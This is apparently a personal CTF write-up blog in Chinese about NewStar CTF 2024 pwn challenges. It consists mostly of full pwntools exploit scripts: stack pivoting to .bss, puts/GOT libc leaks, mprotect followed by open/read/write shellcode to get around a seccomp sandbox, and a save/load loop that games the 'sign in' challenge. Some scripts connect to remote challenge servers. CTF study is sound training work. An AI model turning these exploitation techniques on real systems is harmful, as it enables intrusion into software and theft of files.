return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
#p=remote('39.106.48.123',32201)
p = process('./pwn')

shellcode='''
mov rsp ,0x0000000004040C0
'''
shellcode+=shellcraft.openat(-100,'./flag',0,0)
shellcode+=shellcraft.sendfile(1,3,0,0x100)

payload=asm(shellcode)

sla(b'Welcome to Shellcode World!\n',payload)

inter()

解释一下shellcode

image-20241023162332546

OK的

image-20241023163141763

ReRead

2024.10.22

日常检查

1
2
3
4
5
6
7
8
9
10
11
llq@llq-virtual-machine:~$ checksec pwn
[*] '/home/llq/pwn'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
SHSTK: Enabled
IBT: Enabled
Stripped: No
llq@llq-virtual-machine:~$

前两天做的强网拟态,想着直接可以套版子

我靠,看了半天发现

1
read(0, buf, 0x50uLL);

最大长度为0x50,但是我们发现栈空间加rbp都有0x48了,肯定是不够的。

SO

ORW+栈迁移

栈迁移核心指令

1
2
3
4
leave   ;  mov esp ebp  
; pop rbp

ret ; pop rip

查找leave,ret指令

1
ROPgadget --binary ./pwn --only 'ret|leave'
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
from pwn import*


context(os='linux',arch='amd64',log_level='debug')
libc=ELF('./libc.so.6')
elf=ELF('./pwn')
p=remote("101.200.139.65", 22581)
#p = process('./pwn')


bss_addr = 0x000000000404060+0x500
lea_ret = 0x0000000004013CF
rdi_addr=0x0000000000401473
read=0x0000000004013AC
rbp=0x000000000040117d

#p.recvuntil("try your best!!\n")

payload = b'a' * 0x40 + p64(bss_addr + 0x40) + p64(read)
#gdb.attach(p)
#pause()
p.send(payload)

pay2 =(p64(rdi_addr)+p64(elf.got['read'])+p64(elf.plt['puts'])+p64(rbp)+p64(bss_addr+0x300+0x40)+p64(read)).ljust(0x40,b'\x00')
pay2+=p64(bss_addr-8)+p64(lea_ret)

p.send(pay2)
#pause()


libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['read']
#print(hex(libc_base))
print('\x1b[01;38;5;214m' + hex(libc_base) + '\x1b[0m')



rsi=libc_base+0x000000000002601f #0x000000000002601f
rdx_r12=libc_base+0x0000000000119431 #0x0000000000119211
mprotect=libc_base+libc.sym['mprotect']


pay=b'a'*(0x40)+p64(bss+0x40)+p64(read)

p.sendline(pay)

pay1 =p64(rdi)+p64(0x404000)+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)*2+p64(mprotect)+p64(0x4045a8)+asm(shellcraft.open("/flag"))+asm(shellcraft.read(3,bss+0x700,0x100))+asm(shellcraft.write(1,bss+0x700,0x300))+p64(rbp)+p64(bss+0x500+0x100)+p64(read)
pay1+=p64(bss-8)+p64(leave_ret)


'''
rdi = libc_base+0x0000000000023b6a
rsi = libc_base+0x000000000002601f
#rdx = libc_base+0x00000000000dfc12
rdx_r12=libc_base+0x0000000000119431
rax = libc_base+0x0000000000036174
ret = libc_base+0x0000000000022679
syscall=libc_base+0x000000000002284d
open_=libc_base+libc.sym['open']
read=libc_base + libc.sym['read']
write=libc_base + libc.sym['write']
mprotect=libc_base + libc.sym['mprotect']
bss=0x404060+0x700



#p.recvuntil("lets move and pwn!")
payload=b'a'*(0x40) + p64(bss_addr + 0x40) + p64(read)
#bug()
p.send(payload)
#pause()
orw = b'/flag\x00\x00\x00'
orw += p64(rdi) + p64(bss) #/flag的字符串位置,要改
orw += p64(rsi) + p64(0)
orw += p64(open_)

orw += p64(rdi) + p64(3)
orw += p64(rdx_r12) + p64(0x50)*2
orw += p64(rsi)+p64(bss+0x200) #读入flag的位置
orw += p64(read)
orw += p64(rdi) + p64(1)
orw += p64(rdx_r12) + p64(0x50)*2
orw += p64(rsi)+p64(bss+0x200) #读入flag的位置
orw += p64(write)

#pr(hex(len(orw)))
p.send(orw)
'''
p.interactive()

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p=remote('47.100.137.175',31261)
#libc=ELF("./libc.so.6")
p=process("./vuln")
libc=ELF("./libc.so.6")
elf=ELF("./vuln")
def bug():
gdb.attach(p)
pause()
read=0x401276
rdi=0x00000000004013e3
rbp=0x00000000004011dd
vuln=0x401292
bss=0x404060+0x500
leave_ret=0x401290

p.recvuntil("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n")
payload1=b'a'*(0x100+8)+p64(rdi)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(vuln)
p.sendline(payload1)
puts_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(puts_addr))
libc_base=puts_addr-libc.sym['puts']
print(hex(libc_base))



rsi=libc_base+0x000000000002be51 #0x000000000002601f
rdx_r12=libc_base+0x000000000011f497 #0x0000000000119211
mprotect=libc_base+libc.sym['mprotect']

p.recvuntil("Greetings. Traveller from beyond the fog. I Am Melina. I offer you an accord.\n")

pay=b'a'*(0x100)+p64(bss+0x100)+p64(read)
bug()
p.sendline(pay)
pause()
pay1 =(p64(rdi)+p64(0x404000)+p64(rsi)+p64(0x1000)+p64(rdx_r12)+p64(7)*2+p64(mprotect)+p64(0x4045a8)+asm(shellcraft.open("/flag"))+asm(shellcraft.read(3,bss+0x700,0x100))+asm(shellcraft.write(1,bss+0x700,0x300))+p64(rbp)+p64(bss+0x500+0x100)+p64(read)).ljust(0x100,b'\x00')
pay1+=p64(bss-8)+p64(leave_ret)
p.send(pay1)

p.interactive()

2024.10.30

来复现一下

官方的wp也是发了Reread | WriteUp - NewStar CTF 2024 (openctf.net)

跟上面自己的思路差不多

踩坑点

首先沙箱过滤的规则没有审清楚

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
seccomp-tools dump ./pwn
////////////////////////////
line CODE JT JF K
=================================
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x08 0xc000003e if (A != ARCH_X86_64) goto 0010
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x06 0x00 0x40000000 if (A >= 0x40000000) goto 0010
0004: 0x15 0x03 0x00 0x00000000 if (A == read) goto 0008
0005: 0x15 0x05 0x00 0x00000001 if (A == write) goto 0011
0006: 0x15 0x04 0x00 0x00000002 if (A == open) goto 0011
0007: 0x15 0x03 0x00 0x00000021 if (A == dup2) goto 0011
0008: 0x20 0x00 0x00 0x00000010 A = args[0]
0009: 0x15 0x01 0x00 0x00000000 if (A == 0x0) goto 0011
0010: 0x06 0x00 0x00 0x00000000 return KILL
0011: 0x06 0x00 0x00 0x7fff0000 return ALLOW

规定了一下架构,还可以看到除了只允许 open、read、write、dup2 四个系统调用外,还增添了一个额外条件,那就是执行 read 系统调用时,第一个参数必须是 0

整体思路都差不多

其次就是栈迁移的时候出现的问题多了

迁移到bss段上的时候,地址问题出了大问题,简单举例

1
2
3
4
5
payload=b'a'*(0x40)+p64(elf.bss(0x500))+p64(Rread) 
s(payload)
payload1=(p64(rdi_addr)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x000000000401394)).ljust(0x40,b'\x00')
payload1+= p64(elf.bss(0x4b8)) + p64(lea_ret)
s(payload1)
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
from pwn import*
from struct import pack
import ctypes
#from LibcSearcher import *
def bug():
gdb.attach(p)
pause()
def s(a):
p.send(a)
def sa(a,b):
p.sendafter(a,b)
def sl(a):
p.sendline(a)
def sla(a,b):
p.sendlineafter(a,b)
def r(a):
p.recv(a)
#def pr(a):
#print(p.recv(a))
def rl(a):
return p.recvuntil(a)
def inter():
p.interactive()
def get_addr64():
return u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
def get_addr32():
return u32(p.recvuntil("\xf7")[-4:])
def get_sb():
return libc_base+libc.sym['system'],libc_base+libc.search(b"/bin/sh\x00").__next__()
def get_hook():
return libc_base+libc.sym['__malloc_hook'],libc_base+libc.sym['__free_hook']
pr = lambda x : print('\x1b[01;38;5;214m' + x + '\x1b[0m')
ll = lambda x : print('\x1b[01;38;5;1m' + x + '\x1b[0m')


#context(os='linux',arch='i386',log_level='debug')
context(os='linux',arch='amd64',log_level='debug')
#libc=ELF('/lib/x86_64-linux-gnu/libc.so.6')
libc=ELF('./libc.so.6')
#libc=ELF('/lib/i386-linux-gnu/libc.so.6')
#libc=ELF('libc-2.23.so')
#libc=ELF('/root/glibc-all-in-one/libs/2.23-0ubuntu11.3_amd64/libc.so.6')
#libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
elf=ELF('./pwn')
p=remote('39.106.48.123', 37508)
#p = process('./pwn')



bss_addr = 0x000000000404060
lea_ret = 0x0000000004013CF
rdi_addr=0x0000000000401473
Rread=0x0000000004013AC
rbp=0x000000000040117d

payload=b'a'*(0x40)+p64(elf.bss(0x500))+p64(Rread)
s(payload)

payload1=(p64(rdi_addr)+p64(elf.got['puts'])+p64(elf.plt['puts'])+p64(0x000000000401394)).ljust(0x40,b'\x00')
payload1+= p64(elf.bss(0x4b8)) + p64(lea_ret)
s(payload1)

libc_base=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))-libc.sym['puts']
pr(hex(libc_base))


pop_rdi=0x0000000000401473
rdi = libc_base+0x0000000000023b6a
pop_rsi = libc_base+0x000000000002601f
#rdx = libc_base+0x00000000000dfc12
pop_rdx_r12=libc_base+0x0000000000119431
pop_rax = libc_base+0x0000000000036174
ret = libc_base+0x0000000000022679
syscall=libc_base+0x00000000000630a9


payload2=b'a'*(0x40)+p64(elf.bss(0x800))+p64(Rread)
s(payload2)

payload3 = p64(pop_rdi) + p64(0) + p64(pop_rsi) + p64(elf.bss(0x7F8)) + p64(pop_rdx_r12) + p64(0x200)*2 + p64(elf.plt['read'])
payload3 += p64(elf.bss(0x7b8)) + p64(lea_ret)
s(payload3)

orw = flat([



pop_rdi, elf.bss(0x7f8), # 将文件名地址("./flag")放入 RDI 寄存器,作为 `open` 的第一个参数
pop_rsi, 0, # 将 O_RDONLY 值(0)放入 RSI 寄存器,作为 `open` 的第二个参数
pop_rdx_r12, 0, 0, # 将 RDX 设为 0,作为 `open` 的第三个参数
pop_rax, 2, # 将 RAX 设为 2,表示 `sys_open` 系统调用号
syscall , # 执行 `syscall`,相当于 `open("./flag", O_RDONLY)`
pop_rdi, 3, # 将文件描述符(返回的文件描述符)放入 RDI,作为 `fcntl` 的第一个参数
pop_rsi, 0, # 将 F_DUPFD 值(0)放入 RSI 寄存器,作为 `fcntl` 的第二个参数
pop_rax, 33, # 将 RAX 设为 33,表示 `sys_fcntl` 系统调用号
syscall , # 执行 `syscall`,相当于 `fcntl(3, F_DUPFD)`
pop_rdi, 0, # 将文件描述符(通常是 0)放入 RDI 寄存器,作为 `read` 的第一个参数
pop_rsi, elf.bss(0x100), # 将缓冲区地址放入 RSI,作为 `read` 的第二个参数
pop_rdx_r12, 0x40, 0x40, # 将 RDX 设为 0x40,指定读取的长度为 0x40 字节
pop_rax, 0, # 将 RAX 设为 0,表示 `sys_read` 系统调用号
syscall , # 执行 `syscall`,相当于 `read(3, buffer, 0x40)`
pop_rdi, 1, # 将标准输出(文件描述符 1)放入 RDI,作为 `write` 的第一个参数
pop_rax, 1, # 将 RAX 设为 1,表示 `sys_write` 系统调用号
syscall , # 执行 `syscall`,相当于 `write(1, buffer, 0x40)`


])
s(b'./flag\x00\x00' + orw.ljust(0x1f8,b'\x00'))
inter()

sign in

这题也是直接复现来了

当开始看的时候以为是啥玩意来着

直接贴exp了。

有时间回来研究一下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
#!/usr/bin/env python3
from pwn import *

context(log_level='debug', arch='amd64', os='linux')
uu64 = lambda x: u64(x.ljust(8, b'\x00'))
s = lambda x: p.send(x)
sa = lambda x, y: p.sendafter(x, y)
sl = lambda x: p.sendline(x)
sla = lambda x, y: p.sendlineafter(x, y)
r = lambda x: p.recv(x)
ru = lambda x: p.recvuntil(x)

p = process('./Signin')
p.sendlineafter(b'Enter your name:', b'inkey')
elf = ELF('./Signin')

sorce = 0

def fight():
global sorce
sla(b'6. Save file', b'1')
sla(b'Choose your class:', b'Berserker')
p.recvline()
result = b'You beated' in p.recvline()
ru(b'Now you have ')
sorce = int(p.recvuntil(b' sorce', drop=True))
sl(b'')
sl(b'')
return result

def save(io):
io.sendlineafter(b'6. Save file', b'6')
io.sendline(b'')

def load(io):
io.sendlineafter(b'6. Save file', b'5')
io.sendline(b'')

context.log_level = 'info'
load(p)
while True:
if fight():
print("win")
print(f"sorce: {sorce}")
if sorce > 1145:
break
save(p)
else:
print("lose")
print(f"sorce: {sorce}")
load(p)

print("Got shell")
sl(b"cat /flag")

p.interactive()

第四第五周的都没怎么做。

准备就先这样了